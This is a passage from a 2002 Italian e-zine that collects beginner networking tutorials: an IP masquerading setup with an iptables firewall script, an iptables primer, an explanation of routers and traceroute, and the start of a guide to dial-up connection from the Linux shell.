| con questo comando abbiamo "alzato" l'interfaccia di rete eth0 e resa |
| operativa (questa ethernet sara' connessa ad un hub in caso di piu' |
| computer o solamente ad un altro con un cavo twistato). |
| |
| una volta connessi a internet (useremo PPP, sappiate che si puo' fare |
| anche con SLIP), potremo vedere anche una interfaccia chiamato ppp0, che |
| e' quella che si affaccia sul mondo internet dal nostro server. |
| |
| Ora abbiamo bisogno di un minimo firewall ruleset, che abiliti il |
| forwarding, e che instradi i pacchetti alla nostra rete in modo |
| corretto. |
| |
| Un esempio del file rc.firewall potrebbe essere questo: |
| |
| NOTA: e' da MODIFICARE secondo le vostre esigenze! |
| |
| --- inizio rc.firewall --- |
| |
| |
| #!/bin/sh |
| # |
| # rc.firewall-2.4 |
| FWVER=0.62 |
| # |
| # Semplice Masquerade Test iniziale per i kernel 2.4.x che utilizzano |
| # IPTABLES. |
| # Initial SIMPLE IP Masquerade test for 2.4.x kernels |
| # |
| # Una volta che Masquerading e' stato testato consiglio un ruleset molto |
| # piu' forte di questi, che e' basilare. |
| # |
| # |
| |
| echo -e "\n\Caricamente di rc.firewall, versione $FWVER..\n" |
| |
| |
| # Dove risiede il programma IPTABLES? |
| # |
| # Se la tua distro di linux e' shippata con una copia di iptables, |
| # probabilmente sara' in /sbin. |
| # Se hai compilato manualmente IPTABLES, la locazione di default |
| # sara' /usr/local/sbin |
| # |
| # Utilizza il comando whereis iptables , per scoprire dove |
| # e' messo l'eseguibile ed utilizzare il path dato. |
| # |
| |
| #IPTABLES=/sbin/iptables |
| IPTABLES=/usr/local/sbin/iptables |
| |
| |
| # Settings per le inferfacce ESTERNE e INTERNE per la rete |
| # |
| # Ogni rete Mascherata ha bisogno di avere almeno due interfacce. |
| # Una interna ed una esterna. |
| # |
| # Per esempio, una internet potrebbe essere eth1 e quella esterna |
| # eth0, nel caso di utenti modem come esterna si usera' |
| # EXTIF="ppp0" |
| # |
| |
| EXTIF="eth0" |
| INTIF="eth1" |
| echo " Interfaccia Esterna: $EXTIF" |
| echo " Interfaccia Interna: $INTIF" |
| |
| |
| #======================================================================# |
| #Non c'e' bisogno di editare oltre questa riga per il MASQ Test |
| iniziale# |
| |
| echo -en " caricando i moduli: " |
| |
| #Verifica che tutti i moduli hanno tutte le dipendenze richieste |
| # |
| |
| echo " - Sto verificando che tutti i moduli siano a posto" |
| /sbin/depmod -a |
| |
| echo -en "ip_tables, " |
| /sbin/insmod ip_tables |
| |
| echo -en "ip_conntrack, " |
| /sbin/insmod ip_conntrack |
| |
| |
| # Abilita il tracking FTP, inserisci un '#' per disattivarlo |
| echo -en "ip_conntrack_ftp, " |
| /sbin/insmod ip_conntrack_ftp |
| |
| echo -en "iptable_nat, " |
| /sbin/insmod iptable_nat |
| |
| |
| # Abilita il NAT FTP per default, commenta con '#' per disattivarlo |
| echo -en "ip_nat_ftp, " |
| /sbin/insmod ip_nat_ftp |
| |
| # Qui ci andranno altri moduli esistenti |
| |
| echo ". Finito di caricare i moduli." |
| |
| |
| # Abilita l'ip forwarding, gli utenti di redhat potrebbero cambiare |
| # l'opzione di /etc/sysconfig/network da: |
| # |
| # FORWARD_IPV4=false |
| # to |
| # FORWARD_IPV4=true |
| # |
| echo " abilito il forwarding.." |
| echo "1" > /proc/sys/net/ipv4/ip_forward |
| |
| |
| # Utenti IP Dinamici, abilitate questa opzione (1 per default) |
| echo " abilito DynamicAddr.." |
| echo "1" > /proc/sys/net/ipv4/ip_dynaddr |
| |
| |
| # Abilita un semplice IP forwarding e Masquerading |
| # |
| # Come gia' detto prima, IP Masquerading e' una forma di SNAT. |
| # |
| # Il seguente esempio fa riferimento ad una LAN interna con indirizzi |
| # di classe C (192.168.0.x) e con una subnet mask di 255.255.255.0 |
| # (o a 24 bit) |
| # Questo esempio mascherera' il traffico interno fuori su internet e |
| # non permette il traffico non inizializzato all'interno della rete |
| # interna. |
| # |
| |
| |
| # Pulizia della configurazione precedente |
| # |
| # Se non specificato, i defaults per INPUT e OUTPUT sono ACCEPT |
| # Il default per FORWARD e' DROP |
| # |
| echo " sto pulendo ogni regola esistente e settando le policy di |
| default" |
| $IPTABLES -P INPUT ACCEPT |
| $IPTABLES -F INPUT |
| $IPTABLES -P OUTPUT ACCEPT |
| $IPTABLES -F OUTPUT |
| $IPTABLES -P FORWARD DROP |
| $IPTABLES -F FORWARD |
| $IPTABLES -t nat -F |
| |
| echo " FWD: Accetto tutte le connessioni OUT e solo quelle esistenti" |
| " e pertinenti IN" |
| $IPTABLES -A FORWARD -i $EXTIF -o $INTIF -m state --state ESTABLISHED, |
| RELATED -j ACCEPT |
| $IPTABLES -A FORWARD -i $INTIF -o $EXTIF -j ACCEPT |
| $IPTABLES -A FORWARD -j LOG |
| |
| echo " Abilito la funzionalita' SNAT su $EXTIF" |
| $IPTABLES -t nat -A POSTROUTING -o $EXTIF -j MASQUERADE |
| |
| echo -e "\nrc.firewall-2.2 v$FWVER finito.\n" |
| |
| --- fine rc.firewall --- |
| |
| salvate questo file in /etc/rc.d con il nome di rc.firewall |
| Successivamente rendere questo file eseguibile scrivendo |
| |
| # chmod 700 /etc/rc.d/rc.firewall |
| |
| Ora il ruleset e' pronto, resta da farlo partire ad ogni avvio, anche se |
| si potrebbe fare partire ogni volta manualmente (naaa) scrivendo nella |
| directory /etc/rc.d |
| |
| # ./rc.firewall |
| |
| > redhat < |
| ci sono due metodi per fare caricare automaticamente lo script: |
| /etc/rc.d/rc.local o un init script in /etc/rc.d/init.d/. |
| |
| Il primo metodo e' il piu' semplice, basta aggiungere queste righe: |
| |
| echo "Sto caricando il ruleset rc.firewall" |
| # |
| /etc/rc.d/rc.firewall |
| # |
| |
| alla fine del file /etc/rc.d/rc.local file. |
| Il problema e' che se stai usando un FORTE ruleset per il firewall, |
| quest'ultimo non viene eseguito se non dopo l'ultima stage del boot. |
| L'approccio normale sarebbe quello di avere un firewall caricato appena |
| dopo il network subsystem e' stato caricato. |
| |
| > slackware < |
| lo stesso della redhat, con la differenza che possiamo scrivere nel file |
| /etc/rc.d/rc.local oppure nel file /etc/rc.d/rc.inet2, appendendo sempre |
| le seguenti stringhe: |
| |
| # |
| echo "Sto caricando il ruleset rc.firewall" |
| /etc/rc.d/rc.firewall |
| # |
| |
| # Configurazione dei client |
| |
| Prenderemo in esame il windows, detto molto in breve, basta settare come |
| gateway (nelle proprieta' di rete) l'indirizzo IP della nostra linux box |
| con MASQ abilitato e come server DNS quelli che abbia o solitamente nel |
| nostro /etc/resolv.conf .. oppure se avete un server DNS sempre sulla |
| stessa linux box, l'indirizzo di rete di quest'ultima, semplice. |
| |
| # Caricare e testare il nostro ruleset |
| Ok, fate partire il comando |
| |
| # /etc/rc.d/rc.firewall |
| |
| Ci sono strani errori come ip_tables.o: Device or resource busy ? |
| Facciamo una cosa. |
| |
| # lsmod |
| |
| e siate sicuri che il modulo 'ipchains.o' NON sia installato. |
| Se e' installato probabilmente la vostra macchina (soprattutto le redhat |
| 7.x) sta provando a caricare un ruleset IPCHAINS che e' incompatibile |
| con IPTABLES. |
| Per prevenire questo in futuro facciamo un |
| |
| # chkconfig --level=2345 ipchains off |
| |
| e per rimuovere il modulo ipchains senza riavviare facciamo un |
| |
| #/sbin/rmmod ipchains |
| |
| e riproviamo a caricare il nostro rc.firewall |
| |
| No such file |
| |
| assicuratevi che esista il file e che non l'abbiate copiato da una |
| macchina con nomi DOS e assicurati che ogni riga non finisca con un ^M. |
| |
| Per testare la connettivita' in rete delle nostre macchine, ricorreremo |
| allo strumento basilare, il ping. |
| Fate un |
| |
| # ping 192.168.0.1 |
| |
| per pingare il server dai client, se risponde una cosa del genere: |
| |
| |
| masq-client# ping 192.168.0.1 |
| PING 192.168.0.1 (192.168.0.1): 56 data bytes |
| 64 bytes from 192.168.0.1: icmp_seq=0 ttl=255 time=0.8 ms |
| 64 bytes from 192.168.0.1: icmp_seq=1 ttl=255 time=0.4 ms |
| 64 bytes from 192.168.0.1: icmp_seq=2 ttl=255 time=0.4 ms |
| 64 bytes from 192.168.0.1: icmp_seq=3 ttl=255 time=0.5 ms |
| ^C |
| |
| --- 192.168.0.1 ping statistics --- |
| 4 packets transmitted, 4 packets received, 0% packet loss |
| round-trip min/avg/max = 0.4/0.5/0.8 ms |
| |
| direi che i client vedono il server e che quindi per quanto riguarda la |
| connettivita' client-server siamo a posto. |
| |
| Fate lo stesso dal server verso i client... e ora proviamo verso |
| l'esterno! |
| |
| [root@tux root]# ping www.kuht.it PING www.kuht.it (62.149.130.52) from |
| 62.211.20.161 : 56(84) bytes of data. |
| 64 bytes from webs42.aruba.it (62.149.130.52): icmp_seq=0 ttl=122 |
| time=151.304 msec 64 bytes from webs42.aruba.it (62.149.130.52): |
| icmp_seq=1 ttl=122 time=149.030 msec 64 bytes from webs42.aruba.it |
| (62.149.130.52): icmp_seq=2 ttl=122 time=139.049 msec 64 bytes from |
| webs42.aruba.it (62.149.130.52): icmp_seq=3 ttl=122 time=139.154 msec |
| |
| --- www.kuht.it ping statistics --- |
| 4 packets transmitted, 4 packets received, 0% packet loss |
| round-trip min/avg/max/mdev = 139.049/144.634/151.304/5.597 ms |
| |
| direi che ci siamo, anche i nostri client (e il nostro server, se e' |
| connesso) vede il mondo esterno. |
| |
| vediamo un po'.. |
| 1. cosa e' ip masquerading |
| 2. a chi serve |
| 3. esempio e dettaglio |
| 4. inizio configurazione del kernel, compilazione nel caso di non pronti |
| 5. costruzione ruleset |
| 6. metterlo in avvio |
| 7. esperimento di connettivita' e funzionalita' |
| |
| TODO: |
| spiegazione in DETTAGLIO di SNAT e DNAT |
| esperimento di costruzione di un sistema NAT aziendale |
| |
| 06/11/2001 v1.0 |
| kain |
| www.kuht.it |
| wanna join the team? <masterkain@kuht.it> |
| tnx to Linux IP Masquerade Resource Howto e tutti gli amici dei |
| newsgroup, forum che hanno sempre saputo consigliarmi. |
| uptime 2:07 in writing |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [NETW0RKiNG] #05 - 14/01/2002 |
| iP TABLES [E4zy] 0x0A/0x23 |
+--------------------------------------------------------------------------+
| |
| Indice: |
| |
| 1. Introduzione |
| |
| 2. Iptables (kernel 2.4 o superiore) |
| 2.1 Tabelle di firewall |
| 2.2 Policy delle tabelle |
| 2.3 Sintassi |
| 2.3.1 Aggiunta di una regola (-A) |
| 2.3.2 Interfacce (-i) |
| 2.3.3 Condizioni state |
| |
| 3. Iptables script |
| |
| 1. Introduzione |
| Il firewall migliora la sicurezza di un sistema o di una rete interna |
| fornendo un servizio di confine tra le rete locale e la rete esterna |
| (Internet), ogni connessione in ingresso e in uscita attraversa tale |
| dispositivo in modo tale da permettere il passaggio esclusivamente ai |
| protocolli consentiti dalle rules (regole), in caso contrario i |
| pacchetti che non risponderanno a tali criteri verranno rifiutati. |
| |
| 2. Iptables (kernel 2.4 o superiore) |
| Iptables appartiene alla categoria dei firewall a filtro di pacchetti, |
| esso opera una vera e propria selezione dell'input e dell'output verso e |
| dalla rete interna. |
| L'header (intestazione) di ogni pacchetto, che transita sull'interfaccia |
| protetta dal firewall, contiene delle informazioni che vengono |
| confrontate con le policy settate per l'interfaccia stessa, in caso esse |
| rispondano alle esigenze dell'amministratore il pacchetto verra' |
| accettato, in caso contrario il firewall provvedera' ad operare un drop |
| (rifiuto) del pacchetto. |
| |
| 2.1 Tabelle di firewall |
| Iptables utilizza tre tabelle per la definizione delle proprie regole: |
| INPUT, OUTPUT e FORWARD. |
| La tabella INPUT influisce sul comportamento del firewall nei confronti |
| dei pacchetti ricevuti dall'interfaccia, allo stesso modo la tabella |
| OUTPUT influenza il traffico in uscita dall'interfaccia, infine FORWARD |
| e' una tabella adibita al routing (instradamento) dei pacchetti. |
| |
| 2.2 Policy delle tabelle |
| Ogni tabella (INPUT, OUTPUT e FORWARD) possiede una politica che |
| consiste di default nell'accettare il pacchetto (ACCEPT), essa viene |
| applicata qual'ora il pacchetto non e' identificato da nessun'altra |
| regola. Le tabelle piu' restrittive richiedono una politica che preveda |
| l'eliminazione del pacchetto (DROP), nel caso si renda necessaria una |
| tale modifica si puo' ricorrere al parametro -P che imposta una politica |
| per la tabella specificata, vediamo un esempio: |
| |
| iptables -P INPUT ACCEPT |
| setta la politica ACCEPT relativa alla tabella di INPUT |
| |
| 2.3 Sintassi |
| iptables -A tabella regola |
| aggiunge una regola a una particolare tabella |
| |
| iptables -L [tabella] |
| elenca le regole di una o di tutte le tabelle |
| le parentesi quadre indicano opzionalita' |
| |
| iptables -F [tabella] |
| cancella le regole di una o di tutte e tabelle |
| le parentesi quadre indicano opzionalita' |
| |
| 2.3.1 Aggiunta di una regola (-A) |
| Vi sono opzioni che permettono di specificare l'indirizzo sorgente (-s) |
| e destinatario (-d) dei pacch
etti transitanti su di una certa |
| interfaccia (-i) soggetti all'esecuzione della regola specificata (-j), |
| esempio: |
| |
| iptables -A INPUT -s 192.168.1.1 -j ACCEPT -i eth0 |
| tutti i pacchetti in arrivo dall'host 192.168.1.1 verranno accettati |
| dall'interfaccia eth0 |
| -A aggiunge una regola alla tabella INPUT |
| -s specifica il source address |
| -j specifica la regola da applicare al pacchetto (ACCEPT o DROP) |
| -i specifica l'interfaccia soggetta alla regola |
| |
| iptables -A INPUT -s evil_hacker.com -j DROP -i eth0 |
| blocca qualsiasi tentativo di accesso non autorizzato all'interfaccia |
| eth0 |
| da parte dell'host specificato |
| |
| 2.3.2 Interfacce (-i) |
| -i eth0: interfaccia Ethernet |
| -i ppp0: modem che utilizza il point-to-point protocol (PPP) |
| -i lo: interfaccia localhost utilizzata per le connessioni locali del |
| sistema |
| |
| 2.3.3 Condizioni state |
| NEW: pacchetto che crea una nuova connessione |
| ESTABLISHED: pacchetto appartenente ad una connessione instaurata |
| RELATED: pacchetto relativo ad una connessione esistente ma che non |
| prende |
| parte ad essa, errore ICMP |
| |
| E' possibile fare riferimento a pacchetti caratterizzati dagli state |
| elencati, specificando il modulo state (-m state) seguito dalla relativa |
| opzione (--state), esempio: |
| |
| iptables -A INPUT -m state --state NEW -j DROP -i eth0 |
| qualsiasi pacchetto che tenti di stabilire una nuova connessione con |
| l'interfaccia eth0 verra' rifiutato |
| |
| 3. Iptables script |
| L'analisi del seguente script Iptables e' piu' utile di qualsiasi |
| ulteriore spiegazione, il codice e' commentato nei minimi dettagli, un |
| ringraziamento particolare va al suo ideatore James C. Stephens, buona |
| lettura :) |
| |
| [NdR: Vedi allegato 0x08] |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [NETW0RKiNG] #05 - 14/01/2002 |
| R0UTiNG E ViAGGi0 Di PACCHETTi V 2.0 [XanTHic] 0x0B/0x23 |
+--------------------------------------------------------------------------+
| |
| Data: o4/1o/2oo1 |
| Autore: XanTHic membro MoJodo ProJecT |
| ICQ: #98605689 |
| E-Mail: xanthic@mojodo.cjb.net Sito Crew: http://mojodo.cjb.net |
| IRC: irc.tin.it #mojodo |
| irc.azzurra.org #tcc #newbie #smanettoni #veninside |
| |
| |
| =============================-=-iNTR0-=-=============================== |
| |
| Come penso abbiate capito dal titolo, mi appresto a spiegarvi cosa sono |
| i router, come funzionano e a cosa servono. E' un articolo scritto |
| fondamentalmente per un pubblico newbie, ma alcuni concetti penso |
| possano servire anche a gente un pochino piu' esperta. Questa e' la |
| seconda versione che ho rilasciato; ho corretto alcune cosette e |
| modificato l'aspetto grafico, rendendolo leggermente piu' leggibile e |
| professionale. Per commenti, critiche o informazioni vi rimando alla |
| e-mail. Per quanto riguarda la distribuzione di questo documento, siete |
| liberi di inserirlo in siti personali, archivi cdrom ecc. ma se prima mi |
| avvertite mi fate un piacere enorme. Dopotutto questo articolo non serve |
| tanto a me visto che queste cose le so, ma piuttosto a terzi che amano |
| smanettare e scoprire cosa c'e' dietro alle azioni che compiamo |
| abitualmente. Percio' sapere che questo breve how-to e' stato inserito |
| ad es. in un'e-zine mi gratificherebbe non poco. |
| |
| ======================================================================= |
| |
| ROUTER: [xo1]: RUDiMENTi iNIZiALi |
| [xo2]: TRACEROUTE: ViAGGiO Di PACCHETTi |
| [xo3]: iP 4 DUMMiES |
| |
| ======================================================================= |
| |
| [xo1]: RUDiMENTi iNIZiALi |
| |
| Allora per iniziare pongo subito un problema da utilizzare come esempio |
| per introdurvi l'argomento: come fanno pacchetti di dati o email a |
| raggiungere il destinatario se la rete e' intasata? Se invio una mail e |
| improvvisamente si interrompe la comunicazione rischio di perdere i |
| dati? La risposta e' no. Altrimenti che cazz sto scrivendo a fare ora? |
| In questo caso entrano in gioco i nostri amati ROUTERS. I routers sono |
| macchine che si scambiano informazioni, pacchetti, e decidono che |
| percorso far loro seguire affinche' i dati vengano correttamente |
| inviati. Qui sotto vi riporto uno schema che spiega le varie "tappe" |
| che effettua un-email che parte dal destinatario e arriva al mittente: |
| |
| -------- ------- ------- ------------ |
| MITTENTE --------> ROUTER1 --------> ROUTER2 --------> DESTINATARIO |
| -------- ------- ------- ------------ |
| | | |
| ------- ------- ------- ------------ |
| ROUTER6 <------- ROUTER5 <-------- ROUTER4 <-------- ROUTER3 |
| ------- ------- ------- ------------ |
| |
| |
| Ecco, questo e' un semplice esempio di viaggio di pacchetti. L'email |
| viene spezzettata in pacchetti e, prima di giungere al suo target, |
| passa in determinati punti, i meno intasati e i piu' veloci/favorevoli |
| per il trasferimento. Naturalmente questi punti vengono decisi dal |
| router. |
| |
| ============================SIMILITUDINE============================== |
| |
| Per farvi capire meglio utilizzo una similitudine che mi e' appena |
| venuta in mente: facciamo finta che dobbiamo andare in vacanza. |
| Partiamo da Milano e dobbiamo arrivare a Tortoreto Lido in Abruzzo :) |
| in macchina. Decidiamo di prendere l'autostrada: se questa e' intasata |
| dal traffico non e' che ci fermiamo e torniamo indietro! Bensi' |
| cerchiamo altre strade che ci portino ugualmente a destinazione. Ad es. |
| usciamo |
| alla prossima uscita autostradale. |
| |
| ============================SIMILITUDINE============================== |
| |
| Riprendiamo ora il discorso. Se un pc crasha o se si forma un |
| intasamento in rete, entra subito in funzione una deviazione che |
| garantisce ugualmente il collegamento. Rispetto al sistema tradizionale |
| della telefonia (che collega un punto con un altro), Internet e' una |
| rete, e come tale per raggiungere un punto e' possibile utilizzare tante |
| strade. L'invio dei dati non avviene per intero, il documento viene |
| suddiviso in tanti piccoli pacchetti che seguono vie diverse. Prima |
| dell'invio ogni pacchetto viene 'etichettato e numerato', e gli viene |
| assegnato l'indirizzo del mittente e del destinatario. Questi pacchetti |
| di dati vengono spediti prima dal proprio pc al proprio provider (se |
| non sapete cos'e', non sapete cos'e' internet, e se non sapete cos'e' |
| internet non vi servono i router) e poi al router (legge i pacchetti e |
| li invia al destinatario). Sono una specie di server con una |
| intelligenza artificiale: in pochi millesimi di secondi recapitano i |
| dati scegliendo le vie piu' favorevoli, cioe' le meno intasate. |
| |
| I router quindi sono una sorta di informatori, sempre in contatto con |
| i loro simili, con i quali intrattengono scambi di informazioni (ogni |
| 30 secondi). Essi sono sempre al corrente di eventuali crash, |
| disconnesioni, flood o intasamenti che colpiscono la rete. |
| L'indirizzo scritto nell'header del messaggio fa si che il router lo |
| invii all'indirizzo corretto (IP, ma di questo ne parlo dopo). |
| In sintesi, per concludere questa introduzione, vi dico che nonostante |
| il percorso che un insieme di pacchetti segue, essi. una volta inviati, |
| si ricompongono sempre sul pc della vittima ehm, del destinatario :) |
| |
| [xo2]: TRACEROUTE: ViAGGiO Di PACCHETTi |
| |
| Premetto che nessuno (che io sappia :) puo' decidere in anticipo le |
| strade che i dati percorrono per arrivare a destinazione. Pero' e' |
| possibile seguire le 'tappe' che i pacchetti compiono partendo dal pc |
| per giungere al mittente. E' sufficiente entrare nel Prompt di DOS ed |
| eseguire il comando tracert, e' vi uscira' una schermata come questa: |
| |
| C:\WINDOWS>tracert.exe |
| |
| Sintassi: tracert [-d] [-h max_salti] [-j elenco host] [-w timeout] |
| nome_destinazione |
| |
| Opzioni: |
| -d Non risolve gli indirizzi in nome host. |
| -h max_salti Numero max di punti di passaggio per ricercare |
| la destinazione. |
| -j elenco-host Instradamento libero lungo l'elenco host. |
| -w timeout Timeout in millisecondi per ogni risposta. |
| |
| C:\WINDOWS> |
| |
| Il nome del computer destinazione e' l'unico parametro obbligatorio. |
| Come si puo' vedere, e' possibile specificare anche un numero massimo di |
| tappe intermedie, una lista di macchine intermedie per cui si deve |
| obbligatoriamente passare, e un tempo massimo di risposta. Da notare |
| che i parametri accettati possono variare in funzione della versione |
| del programma e del sistema operativo in cui ci troviamo. |
| Proviamo per esempio a vedere che distanza ci separa da un server fra |
| i piu' noti e richiesti, cioe' quello di VolFTP. Apriamo una shell |
| (Prompt DOS se sotto Windows, bash, csh o qualunque altra se sotto |
| Unix), e scriviamo: |
| |
| C:\WINDOWS>tracert volftp.tin.it |
| |
| Rilevazione instradamento verso cam.ca.tin.it [195.31.191.10] |
| su un massimo di 30 punti di passaggio: |
| |
| 1 1787 ms 2211 ms 1721 ms pppsrv05.stm.it [195.62.32.50] |
| 2 2610 ms 1326 ms 1348 ms world.stm.it [195.62.32.11] |
| 3 3098 ms 2099 ms 1729 ms eth0-ibs-gw.stm.it [195.62.34.2] |
| 4 1976 ms 3040 ms 2394 ms r-rm2-torrearg.ibsns.it [151.99.9.181] |
| 5 * * * Richiesta scaduta. |
| 6 * * * Richiesta scaduta. |
| 7 2555 ms 1736 ms 3118 ms r-mi5-rm5-atm.ibsns.it [151.99.101.1] |
| 8 * * 3029 ms r-mi6-fa2.ibsns.it [151.99.100.37] |
| 9 2221 ms 2606 ms * r-tin-mi6-atm.ibsns.it [151.99.107.134] |
| 10 * * * Richiesta scaduta. |
| 11 * * * Richiesta scaduta. |
| 12 * * 1753 ms cam.ca.tin.it [195.31.191.10] |
| |
| Rilevazione completata. |
| |
| C:\WINDOWS> |
| |
| Ah, aggiungo una cosa che cmq mi pare sia scontata... sotto Unix il |
| comando non e' tracert ma traceroute. |
| Come si puo' vedere dal messaggio introduttivo, il comando traceroute |
| riesce a rintracciare un computer remoto se questo non e' separato dal |
| nostro da piu' di trenta tappe intermedie (questi "punti di passaggio" |
| in termine tecnico sono detti Hops o "salti"). Il messaggio |
| introduttivo ci dice anche che volftp.tin.it si chiama in realta' |
| cam.ca.tin.it e che il suo indirizzo IP e' 195.31.191.10. |
| |
| Di seguito il programma mostra il percorso completo che separa il |
| computer da cui viene eseguito traceroute dal computer che si vuole |
| tracciare. Il primo elemento della lista e' il POP a cui siamo |
| collegati, nel caso di un collegamento tramite provider. |
| |
| I numeri sulle tre colonne di sinistra indicano il tempo in |
| millisecondi trascorso in attesa della risposta del server a cui la |
| riga si riferisce, e l'asterisco significa che la risposta non e' |
| arrivata entro il tempo massimo di attesa. Dal valore dei tempi di |
| risposta si puo' intuire la bonta' del collegamento verso l'host |
| destinazione: nell'esempio sopra riportato, lo stato del collegamento e' |
| pessimo (addirittura tempi sopra i 3 secondi), e quindi si puo' |
| supporre che, per esempio, un download da VolFTP in quel momento |
| andrebbe assai lento. In alcuni casi nessuna delle tre risposte e' |
| arrivata, per cui traceroute mostra il messaggio "Richiesta scaduta." |
| invece del nome del server. In generale, piu' bassi sono i tempi delle |
| tre colonne di sinistra e migliore e' la qualita' del collegamento verso |
| la macchina destinazione. |
| |
| Qual e' l'utilita' di questo programma? Per esempio, se notiamo che il |
| collegamento verso un sito web o ftp (o qualunque altro servizio) e' |
| lento, possiamo usare traceroute per vedere il percorso seguito dai |
| pacchetti, e in base all'output di traceroute e' possibile capire se il |
| problema dipende dal nostro provider, dalla macchina destinazione, da |
| una macchina intermedia o da un tratto di linea fisica che unisce due |
| di queste. Oppure, se dobbiamo scaricare un file piuttosto pesante e |
| conosciamo almeno 2 siti ftp che lo contengono, con traceroute |
| possiamo stabilire da quale sito conviene effettuare il download. |
| |
| [xo3]: iP 4 DUMMiES (diciamo neonati) |
| |
| L'indirizzo ip (internet protocol) consiste in un gruppo di quattro |
| numeri ognuno dei quali compreso tra lo 0 e il 255. Le grandi aziende |
| che dispongono o necessitano di pc sempre online possono disporre di |
| un IP fisso (in Italia comunemente sono i provider che hanno questo |
| privilegio, ma non solo...). Agli users o abbonati semplici ai servizi |
| di connessione di un provider viene assegnato un IP dinamico, cioe' che |
| cambia sempre dopo ogni disconnessione. Queste due differenti modalita' |
| sono obbligatorie per un semplice motivo: data la costituzione |
| dell'indirizzo IP (codificazione solo su 32 bit, mentre l'attuale IPv6 |
| codifica a 128 bit, ma di questo parlero' un'altra volta) i provider |
| non possono concedere un IP fisso ai suoi utenti, percio' utilizzano ip |
| variabili, una specie di "chi arriva primo se lo acchiappa" :) ma |
| naturalmente non si verificano problemi, perche' il sovraffollamento di |
| utenti connessi non ha mai causato un esaurimento di IP, a quanto ne |
| so. |
| |
| ======================================================================= |
| |
| OK, anche questo breve tutorial e' finito, non ho manco bisogno di |
| scriv. ehm, pastare i copyrights xke' da come potete notare queste sono |
| solo info. Avviso importante: x la parte riguardante il tracert ho |
| preso spunto dalla faq di baldinelli per mancanza di tempo, se ci |
| fossero eventuali problemi mi prendero' l'impegno di rifarla. |
| Tanto non ci metto nulla a tracciare un server, solo che non c'e' |
| sbattimento ultimamente. Preferisco fare altro... |
| |
| ... Theoretical hacking successful installed in XanTHic's mind ... |
| |
| |
| |
| SALUTI & RINGRAZIAMENTI: Saluto innanzitutto i miei fratelli del |
| progetto mojodo, i miei seguaci del VenInside :DDD, tutti ma proprio |
| tutti i membri del TankCommandos, tutta la new world bie crew, la Paola |
| della mia classe, la aLe del canale #dbzone e tutti quelli che mi |
| conoscono. In particolare un salutozzo e un abbraccio vanno a: `ValK`, |
| ADvAnCeD`, lupsyn, D3FU, kEwL`, Raptor_, BiGAlex, SPYR0, ReSiNaRo, |
| MightyInquisitor, ink, Ice Man, Net_Digger, Hopehack e SonGoten :) |
| |
| FUCK: inter-moratti. Vi racconto una barzelletta: c'e' Berlusconi che |
| va da Moratti dopo il derby e gli dice "Per vincere il derby ci |
| vogliono i coglioni!" e Moratti "Cazzo io li ho gia' comprati |
| tutti eppure non riesco a vincere!". aHaHaH W MILAN. |
| |
| ======================================================================= |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [LiNUX] #05 - 14/01/2002 |
| iN SHELL WE TRUST - PARTE 1 [MightyInquisitor] 0x0C/0x23 |
+--------------------------------------------------------------------------+
| |
| --[ Indice |
| |
| 1 - Introduzione al progetto |
| |
| 2 - Connessione a internet (prima parte) |
| 2.1 - Device del modem |
| 2.2 - Files di configurazione |
| 2.3 - Permessi dei files di configurazione |
| 2.4 - L'utente normale e la connessione |
| 2.5 - Suggerimento |
| |
| 3 - Allegato |
| |
| |
| --[ 1 - Introduzione al progetto |
| |
| Ho deciso di chiamare questo progetto, diviso in parti: |
| IN SHELL WE TRUST perche' credo nelle potenzialita' della shell e |
| certamente non sono l'unico! |
| |
| Che cos'e' il progetto ISWT? |
| Semplice, in questa parte e nelle successive, spieghero' nel modo piu' |
| chiaro possibile come utilizzare al meglio le potenzialita' della shell |
| del sistema operativo Linux per effettuare gran parte delle operazioni |
| on-line, che svolgiamo, per semplicita' o per ignoranza, da X - la |
| modalita' grafica del pinguino. |
| |
| Molto probabilmente, alcuni di voi, ora potranno chiedersi: |
| "Quando mai avro' bisogno di utilizzare la shell per connettermi, |
| chattare, navigare, leggere la posta...avendo a disposizione una cosi' |
| bella modalita' grafica che mi da la possibilita' di fare queste cose |
| molto piu' semplicemente e intuitivamente?" |
| |
| Nel caso vogliate imparare a "dominare" la vostra macchina dovete sapere |
| come si usa e quali sono i comandi e i file per configurare ed eseguire |
| i programmi, e non solo, da shell. |
| Anche nel caso abbiate un computer poco potente e non riuscite a far |
| girarci su X, potete lavorarci usufruendo della shell e quindi mettere |
| in atto tutte le operazioni che hanno a che vedere con la rete e che |
| fareste su una macchina piu' potente da X. |
| Insomma, la shell e' un MUST per chi vuole apprendere a 360 grazi il |
| funzionamento di una Linux box. |
| |
| In questa prima parte del progetto trattero' la connessione a internet |
| da console, ovvero il primo passo per lavorare col pinguino on-line. |
| |
| |
| --[ 2 - Connessione a internet (prima parte) |
| |
| La prima cosa da affrontare per poter fare un buon utilizzo della shell |
| su internet e' senza ombra di dubbio la possibilita' di connettersi ad |
| internet, senza la quale ben poco si puo' fare. |
| In questo testo analizzero' la connessione dial-up dato che lo baso |
| esclusivamente sulla mia esperienza, ed io sono sempre fedele al |
| collegamento a 56k! |
| |
| E' bene precisare che trattero' la configurazione dei file di |
| configurazione a mano, in maniera tale che il contenuto di questo testo |
| sia applicabile a qualsiasi distribuzione Linux. |
| |
| Tutte le operazioni di seguito descritte vanno fatte una volta loggatisi |
| come root alla propria Linux box, tranne nei casi da me espressamente |
| specificati. |
| |
| ----[ 2.1 - Device del modem |
| |
| Il demone che gestisce la connessione ad internet e' il pppd e |
| l'apparecchio che ci permette di connetterci alla rete, come tutti |
| sanno, e' il modem - acronimo di MODulatore DEModulatore quindi dobbiamo |
| assicurarci che Linux lo riconosca e che il rispettivo device si trovi |
| nella directory /dev con il nome di ttyS0 nel caso si trovi sulla porta |
| COM1, ttyS1 nel caso si trovi sulla porta COM2 e cosi' via. |
| Una volta accertatisi di questo e' bene creare un link simbolico al |
| device che posizioneremo, per comodita', nella stessa directory: |
| |
| bash# ln -s /dev/ttyS0 /dev/modem |
| |
| Ora /dev/modem non e' altro che il link (ln) simbolico (-s) al device |
| corrispondente al modem (/dev/ttyS0). |
| |
| Una volta effettuata questa semplice operazione si deve procedere a |
| configurare una serie di files che mettono in comunicazione il modem con |
| il demone ppp. |
| |
| ----[ 2.2 - Files di configurazione |
| |
| I files da configurare si trovano nella directory '/etc/ppp' quindi, nel |
